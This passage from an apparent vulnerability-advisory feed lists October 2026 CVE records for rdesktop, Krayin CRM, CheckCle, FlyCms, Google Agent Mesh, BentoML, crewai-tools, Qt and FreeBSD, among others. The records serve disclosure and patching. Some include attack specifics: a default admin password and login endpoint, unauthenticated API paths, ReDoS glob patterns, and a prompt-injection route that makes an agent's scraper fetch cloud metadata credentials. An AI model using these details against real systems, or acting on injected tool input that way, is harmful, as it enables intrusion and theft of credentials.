NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112277&date=2026-10-25
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_plane() in bitmap.c that allows malicious RDP servers to crash clients by sending malformed 32 bpp compressed bitmaps. Attackers can declare a large bitmap geometry with a short compressed body in bitmap update PDUs or bitmap cache orders, causing unbounded reads past the receive buffer and denial of service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_bmpcache2() in orders.c that allows malicious RDP servers to crash clients via crafted...
https://kevwire.com/record/CVE-2026-112279
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_bmpcache2() in orders.c that allows malicious RDP servers to crash clients via crafted... (Oct 19, 2026).
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_bmpcache2() in orders.c that allows malicious RDP servers to crash clients via crafted revision-2 bitmap cache orders. Attackers can send an uncompressed order with large width/height or an underflowing mode nibble and short payload, causing memcpy() reads past the receive buffer and denial of service.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112279).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112279&date=2026-10-25).
Sources:
NVD CVE-2026-112279: https://nvd.nist.gov/vuln/detail/CVE-2026-112279
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112279&date=2026-10-25
rdesktop through 1.9.0 contains a heap out-of-bounds read vulnerability in process_bmpcache2() in orders.c that allows malicious RDP servers to crash clients via crafted revision-2 bitmap cache orders. Attackers can send an uncompressed order with large width/height or an underflowing mode nibble and short payload, causing memcpy() reads past the receive buffer and denial of service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Krayin CRM before 2.2.7 contains an insecure direct object reference vulnerability that allows scope-restricted authenticated users to read other users' quotes by bypassing...
https://kevwire.com/record/CVE-2026-112286
Krayin CRM before 2.2.7 contains an insecure direct object reference vulnerability that allows scope-restricted authenticated users to read other users' quotes by bypassing... (Oct 19, 2026).
Krayin CRM before 2.2.7 contains an insecure direct object reference vulnerability that allows scope-restricted authenticated users to read other users' quotes by bypassing per-user data scope checks in QuoteController. Attackers can query the quotes search and lead-products endpoints to retrieve quote addresses, totals, contact details, and product pricing belonging to any user or lead.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112286).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112286&date=2026-10-25).
Sources:
NVD CVE-2026-112286: https://nvd.nist.gov/vuln/detail/CVE-2026-112286
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112286&date=2026-10-25
Krayin CRM before 2.2.7 contains an insecure direct object reference vulnerability that allows scope-restricted authenticated users to read other users' quotes by bypassing per-user data scope checks in QuoteController. Attackers can query the quotes search and lead-products endpoints to retrieve quote addresses, totals, contact details, and product pricing belonging to any user or lead.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Krayin CRM before 2.2.7 contains a broken object level authorization vulnerability in EmailController write actions that allows scope-restricted authenticated users to manipulate...
https://kevwire.com/record/CVE-2026-112287
Krayin CRM before 2.2.7 contains a broken object level authorization vulnerability in EmailController write actions that allows scope-restricted authenticated users to manipulate... (Oct 19, 2026).
Krayin CRM before 2.2.7 contains a broken object level authorization vulnerability in EmailController write actions that allows scope-restricted authenticated users to manipulate other users' emails by supplying their numeric IDs. Attackers can call update, destroy, mass-update or mass-destroy endpoints to edit, re-send via is_draft=0, trash or permanently delete emails and disclose their subject, body and linked lead and person data.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112287).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112287&date=2026-10-25).
Sources:
NVD CVE-2026-112287: https://nvd.nist.gov/vuln/detail/CVE-2026-112287
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112287&date=2026-10-25
Krayin CRM before 2.2.7 contains a broken object level authorization vulnerability in EmailController write actions that allows scope-restricted authenticated users to manipulate other users' emails by supplying their numeric IDs. Attackers can call update, destroy, mass-update or mass-destroy endpoints to edit, re-send via is_draft=0, trash or permanently delete emails and disclose their subject, body and linked lead and person data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CheckCle through 1.6.0 contains a missing authorization vulnerability that allows unauthenticated attackers to read, modify and delete records because shipped PocketBase...
https://kevwire.com/record/CVE-2026-112292
CheckCle through 1.6.0 contains a missing authorization vulnerability that allows unauthenticated attackers to read, modify and delete records because shipped PocketBase... (Oct 19, 2026).
CheckCle through 1.6.0 contains a missing authorization vulnerability that allows unauthenticated attackers to read, modify and delete records because shipped PocketBase collections use empty API rules. Attackers can query /api/collections/<name>/records endpoints to steal server_token values and alert_configurations secrets, disable alerting, alter status pages, or delete monitoring data.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112292).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112292&date=2026-10-25).
Sources:
NVD CVE-2026-112292: https://nvd.nist.gov/vuln/detail/CVE-2026-112292
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112292&date=2026-10-25
CheckCle through 1.6.0 contains a missing authorization vulnerability that allows unauthenticated attackers to read, modify and delete records because shipped PocketBase collections use empty API rules. Attackers can query /api/collections/<name>/records endpoints to steal server_token values and alert_configurations secrets, disable alerting, alter status pages, or delete monitoring data.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FlyCms through commit edfdf724 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain super administrator access via the flycms account...
https://kevwire.com/record/CVE-2026-112296
FlyCms through commit edfdf724 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain super administrator access via the flycms account... (Oct 19, 2026).
FlyCms through commit edfdf724 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain super administrator access via the flycms account with password admin123. Attackers can log in through POST /api/auth/login, solving only the image captcha, to obtain full control of site content, users and configuration.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112296).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112296&date=2026-10-25).
Sources:
NVD CVE-2026-112296: https://nvd.nist.gov/vuln/detail/CVE-2026-112296
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112296&date=2026-10-25
FlyCms through commit edfdf724 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain super administrator access via the flycms account with password admin123. Attackers can log in through POST /api/auth/login, solving only the image captcha, to obtain full control of site content, users and configuration.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists.
https://kevwire.com/record/CVE-2026-59963
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. (Oct 16, 2026).
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, recipe utility endpoints retrieve same-Space Recipe objects without invoking the private-recipe owner or sharing permission when an authenticated member of a shared Space supplies another member's private recipe identifier to AI import, file, external-link, or share-link endpoints. Request processing uses api/ai-import/, api/get_recipe_file/, api/get_external_file_link/, api/share-link/, CustomRecipePermission. The attack works because the endpoints read private recipe files, send file bytes to the configured AI provider, or create and disclose external links without object-level authorization, and api/share-link/ can create a public link when Space sharing is enabled. This can expose private recipe files and sensitive uploaded content to another same-Space user and to configured external services. This issue is fixed in version 2.6.10.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-59963).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-59963&date=2026-10-25).
Sources:
NVD CVE-2026-59963: https://nvd.nist.gov/vuln/detail/CVE-2026-59963
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-59963&date=2026-10-25
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Prior to 2.6.10, recipe utility endpoints retrieve same-Space Recipe objects without invoking the private-recipe owner or sharing permission when an authenticated member of a shared Space supplies another member's private recipe identifier to AI import, file, external-link, or share-link endpoints. Request processing uses api/ai-import/, api/get_recipe_file/, api/get_external_file_link/, api/share-link/, CustomRecipePermission. The attack works because the endpoints read private recipe files, send file bytes to the configured AI provider, or create and disclose external links without object-level authorization, and api/share-link/ can create a public link when Space sharing is enabled. This can expose private recipe files and sensitive uploaded content to another same-Space user and to configured external services. This issue is fixed in version 2.6.10.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authentication for Critical Function (CWE-306) and Missing Authorization (CWE-862) in the /libp2p-http ingress server (StartIngressServer in cmd/sam-node/node.go) in...
https://kevwire.com/record/CVE-2026-102503
Missing Authentication for Critical Function (CWE-306) and Missing Authorization (CWE-862) in the /libp2p-http ingress server (StartIngressServer in cmd/sam-node/node.go) in... (Oct 19, 2026).
Missing Authentication for Critical Function (CWE-306) and Missing Authorization (CWE-862) in the /libp2p-http ingress server (StartIngressServer in cmd/sam-node/node.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.2 allow an unauthenticated remote libp2p peer to bypass Biscuit capability policy enforcement and invoke arbitrary registered backend services (including command/stdio-backed MCP servers, A2A, and inference endpoints). While the MCP protocol stream handler enforces WithBiscuitAuth and Authorize checks, the parallel /libp2p-http ingress routes requests directly to backend service handlers without verifying a Biscuit token or mesh enrollment. Users should upgrade to version 0.1.0-alpha.3 or later.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102503).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102503&date=2026-10-25).
Sources:
NVD CVE-2026-102503: https://nvd.nist.gov/vuln/detail/CVE-2026-102503
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102503&date=2026-10-25
Missing Authentication for Critical Function (CWE-306) and Missing Authorization (CWE-862) in the /libp2p-http ingress server (StartIngressServer in cmd/sam-node/node.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.2 allow an unauthenticated remote libp2p peer to bypass Biscuit capability policy enforcement and invoke arbitrary registered backend services (including command/stdio-backed MCP servers, A2A, and inference endpoints). While the MCP protocol stream handler enforces WithBiscuitAuth and Authorize checks, the parallel /libp2p-http ingress routes requests directly to backend service handlers without verifying a Biscuit token or mesh enrollment. Users should upgrade to version 0.1.0-alpha.3 or later.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing Authorization (CWE-862) and Initialization of a Resource with an Insecure Default (CWE-1188) in the MCP proxy (HandleStreamPassThrough in mcp_service.go) and OIDC...
https://kevwire.com/record/CVE-2026-103091
Missing Authorization (CWE-862) and Initialization of a Resource with an Insecure Default (CWE-1188) in the MCP proxy (HandleStreamPassThrough in mcp_service.go) and OIDC... (Oct 19, 2026).
Missing Authorization (CWE-862) and Initialization of a Resource with an Insecure Default (CWE-1188) in the MCP proxy (HandleStreamPassThrough in mcp_service.go) and OIDC registration flow (GET /info and POST /register in internal/controlplane/server.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 allow a remote attacker to self-enroll into the mesh and invoke arbitrary tools across all connected MCP backend nodes. Because GET /info publicly discloses OIDC configuration, POST /register auto-enrolls any valid OIDC token holder without claim filtering or ban checks, and the default policy binds sam:system:authenticated to wildcard services and targets, an attacker can obtain a mesh credential with full read, write, and execution access on backend services. Users should upgrade to version 0.1.0-alpha.9 or later, which enforces a fail-closed default policy, explicit policy-binding requirements on enrollment, and ban checks.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103091).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103091&date=2026-10-25).
Sources:
NVD CVE-2026-103091: https://nvd.nist.gov/vuln/detail/CVE-2026-103091
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103091&date=2026-10-25
Missing Authorization (CWE-862) and Initialization of a Resource with an Insecure Default (CWE-1188) in the MCP proxy (HandleStreamPassThrough in mcp_service.go) and OIDC registration flow (GET /info and POST /register in internal/controlplane/server.go) in Google OSS Agent Mesh (SAM) versions 0.1.0-alpha.1 through 0.1.0-alpha.8 allow a remote attacker to self-enroll into the mesh and invoke arbitrary tools across all connected MCP backend nodes. Because GET /info publicly discloses OIDC configuration, POST /register auto-enrolls any valid OIDC token holder without claim filtering or ban checks, and the default policy binds sam:system:authenticated to wildcard services and targets, an attacker can obtain a mesh credential with full read, write, and execution access on backend services. Users should upgrade to version 0.1.0-alpha.9 or later, which enforces a fail-closed default policy, explicit policy-binding requirements on enrollment, and ban checks.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .
https://kevwire.com/record/CVE-2026-108983
A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe . (Oct 19, 2026).
A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108983).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108983&date=2026-10-25).
Sources:
NVD CVE-2026-108983: https://nvd.nist.gov/vuln/detail/CVE-2026-108983
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108983&date=2026-10-25
A vulnerability is in Web Server default connection ports under the process name GeoWebServer.exe .

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains a missing authorization check vulnerability in engine-rest task sub-resources that allows authenticated attackers...
https://kevwire.com/record/CVE-2026-109431
Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains a missing authorization check vulnerability in engine-rest task sub-resources that allows authenticated attackers... (Oct 19, 2026).
Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains a missing authorization check vulnerability in engine-rest task sub-resources that allows authenticated attackers with no permission grants to access task comments and attachments by calling singular read and delete endpoints that lack the authorization-filtered checks enforced on their corresponding list endpoints. Attackers can exploit TaskAttachmentResourceImpl and TaskCommentResourceImpl methods such as getAttachment, getAttachmentData, deleteAttachment, and getComment using only a known object ID to read, download, or permanently delete task attachments and comments.
CVSS 8.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109431).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109431&date=2026-10-25).
Sources:
NVD CVE-2026-109431: https://nvd.nist.gov/vuln/detail/CVE-2026-109431
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109431&date=2026-10-25
Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains a missing authorization check vulnerability in engine-rest task sub-resources that allows authenticated attackers with no permission grants to access task comments and attachments by calling singular read and delete endpoints that lack the authorization-filtered checks enforced on their corresponding list endpoints. Attackers can exploit TaskAttachmentResourceImpl and TaskCommentResourceImpl methods such as getAttachment, getAttachmentData, deleteAttachment, and getComment using only a known object ID to read, download, or permanently delete task attachments and comments.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards.
https://kevwire.com/record/CVE-2026-111058
Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. (Oct 19, 2026).
Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. Prior to 3.2.6, default tokenless deployments allow anonymous clients to create Jupyter kernels and send execute_request messages containing arbitrary Python. The endpoint blocklist does not cover /api/kernels, and the websocket wrapper previously tracked idle activity without authorizing executable messages. This issue is fixed in version 3.2.6.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111058).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111058&date=2026-10-25).
Sources:
NVD CVE-2026-111058: https://nvd.nist.gov/vuln/detail/CVE-2026-111058
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111058&date=2026-10-25
Mercury is a Python framework for sharing Jupyter notebooks as web applications and dashboards. Prior to 3.2.6, default tokenless deployments allow anonymous clients to create Jupyter kernels and send execute_request messages containing arbitrary Python. The endpoint blocklist does not cover /api/kernels, and the websocket wrapper previously tracked idle activity without authorizing executable messages. This issue is fixed in version 3.2.6.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### BentoML through 1.4.39 contains a Dockerfile instruction injection vulnerability that allows attackers to add arbitrary build instructions by embedding newlines in docker.env...
https://kevwire.com/record/CVE-2026-112264
BentoML through 1.4.39 contains a Dockerfile instruction injection vulnerability that allows attackers to add arbitrary build instructions by embedding newlines in docker.env... (Oct 19, 2026).
BentoML through 1.4.39 contains a Dockerfile instruction injection vulnerability that allows attackers to add arbitrary build instructions by embedding newlines in docker.env mapping keys rendered by the legacy base.j2 template. Attackers can supply a crafted bentofile.yaml or imported bento archive so that bentoml containerize executes injected RUN instructions during docker build, accessing build secrets and poisoning images.
CVSS 8.5 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112264).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112264&date=2026-10-25).
Sources:
NVD CVE-2026-112264: https://nvd.nist.gov/vuln/detail/CVE-2026-112264
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112264&date=2026-10-25
BentoML through 1.4.39 contains a Dockerfile instruction injection vulnerability that allows attackers to add arbitrary build instructions by embedding newlines in docker.env mapping keys rendered by the legacy base.j2 template. Attackers can supply a crafted bentofile.yaml or imported bento archive so that bentoml containerize executes injected RUN instructions during docker build, accessing build secrets and poisoning images.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### crewai-tools through 1.15.28 contains a server-side request forgery vulnerability in SeleniumScrapingTool that allows attackers to fetch internal resources because it never...
https://kevwire.com/record/CVE-2026-112308
crewai-tools through 1.15.28 contains a server-side request forgery vulnerability in SeleniumScrapingTool that allows attackers to fetch internal resources because it never... (Oct 19, 2026).
crewai-tools through 1.15.28 contains a server-side request forgery vulnerability in SeleniumScrapingTool that allows attackers to fetch internal resources because it never applies the validate_url private-address check. Attackers influencing agent tool input through prompt injection can direct headless Chrome to loopback, RFC1918, or cloud metadata addresses to disclose internal data and cloud credentials.
CVSS 8.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112308).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112308&date=2026-10-25).
Sources:
NVD CVE-2026-112308: https://nvd.nist.gov/vuln/detail/CVE-2026-112308
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112308&date=2026-10-25
crewai-tools through 1.15.28 contains a server-side request forgery vulnerability in SeleniumScrapingTool that allows attackers to fetch internal resources because it never applies the validate_url private-address check. Attackers influencing agent tool input through prompt injection can direct headless Chrome to loopback, RFC1918, or cloud metadata addresses to disclose internal data and cloud credentials.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Picomatch through 4.0.7 contains a regular expression denial of service vulnerability that allows attackers to block the event loop by supplying single-branch repeated extglob...
https://kevwire.com/record/CVE-2026-112366
Picomatch through 4.0.7 contains a regular expression denial of service vulnerability that allows attackers to block the event loop by supplying single-branch repeated extglob... (Oct 19, 2026).
Picomatch through 4.0.7 contains a regular expression denial of service vulnerability that allows attackers to block the event loop by supplying single-branch repeated extglob patterns. Attackers can provide globs like +(*) or +(*a), which analyzeRepeatedExtglob in lib/parse.js skips, causing exponential backtracking against short crafted strings and denying service to Node.js applications.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112366).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112366&date=2026-10-25).
Sources:
NVD CVE-2026-112366: https://nvd.nist.gov/vuln/detail/CVE-2026-112366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112366&date=2026-10-25
Picomatch through 4.0.7 contains a regular expression denial of service vulnerability that allows attackers to block the event loop by supplying single-branch repeated extglob patterns. Attackers can provide globs like +(*) or +(*a), which analyzeRepeatedExtglob in lib/parse.js skips, causing exponential backtracking against short crafted strings and denying service to Node.js applications.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncontrolled recursion in the SVG parser and renderer of the Qt SVG module (QtSvg) in Qt Group Qt allows attackers to cause a denial of service (application crash via stack...
https://kevwire.com/record/CVE-2026-8168
Uncontrolled recursion in the SVG parser and renderer of the Qt SVG module (QtSvg) in Qt Group Qt allows attackers to cause a denial of service (application crash via stack... (Oct 19, 2026).
Uncontrolled recursion in the SVG parser and renderer of the Qt SVG module (QtSvg) in Qt Group Qt allows attackers to cause a denial of service (application crash via stack exhaustion) via a crafted SVG file with deeply nested elements.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-8168).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-8168&date=2026-10-25).
Sources:
NVD CVE-2026-8168: https://nvd.nist.gov/vuln/detail/CVE-2026-8168
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-8168&date=2026-10-25
Uncontrolled recursion in the SVG parser and renderer of the Qt SVG module (QtSvg) in Qt Group Qt allows attackers to cause a denial of service (application crash via stack exhaustion) via a crafted SVG file with deeply nested elements.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When semop(2) blocks waiting for a semaphore condition, it releases the per-set lock and sleeps.
https://kevwire.com/record/CVE-2026-58098
When semop(2) blocks waiting for a semaphore condition, it releases the per-set lock and sleeps. (Oct 15, 2026).
When semop(2) blocks waiting for a semaphore condition, it releases the per-set lock and sleeps.  Upon waking, it checks the sequence number embedded in the semaphore set's IPC identifier to detect whether the set was removed while the caller was asleep.  This sequence number is only 15 bits wide.  If enough semaphore sets are created and destroyed in the same table slot while a caller is blocked, the counter wraps around, and semop(2) may falsely conclude that the original set still exists.  The subsequent access to a semaphore within the set may then be out of bounds.

An unprivileged local user can trigger an out-of-bounds access on kernel heap memory, potentially leading to privilege escalation.
CVSS 8.4 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-58098).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58098&date=2026-10-25).
Sources:
NVD CVE-2026-58098: https://nvd.nist.gov/vuln/detail/CVE-2026-58098
Vendor advisory (via NVD references): https://security.freebsd.org/advisories/FreeBSD-SA-26:64.sysvsem.asc
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58098&date=2026-10-25
When semop(2) blocks waiting for a semaphore condition, it releases the per-set lock and sleeps.  Upon waking, it checks the sequence number embedded in the semaphore set's IPC identifier to detect whether the set was removed while the caller was asleep.  This sequence number is only 15 bits wide.  If enough semaphore sets are created and destroyed in the same table slot while a caller is blocked, the counter wraps around, and semop(2) may falsely conclude that the original set still exists.  The subsequent access to a semaphore within the set may then be out of bounds.

An unprivileged local user can trigger an out-of-bounds access on kernel heap memory, potentially leading to privilege escalation.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
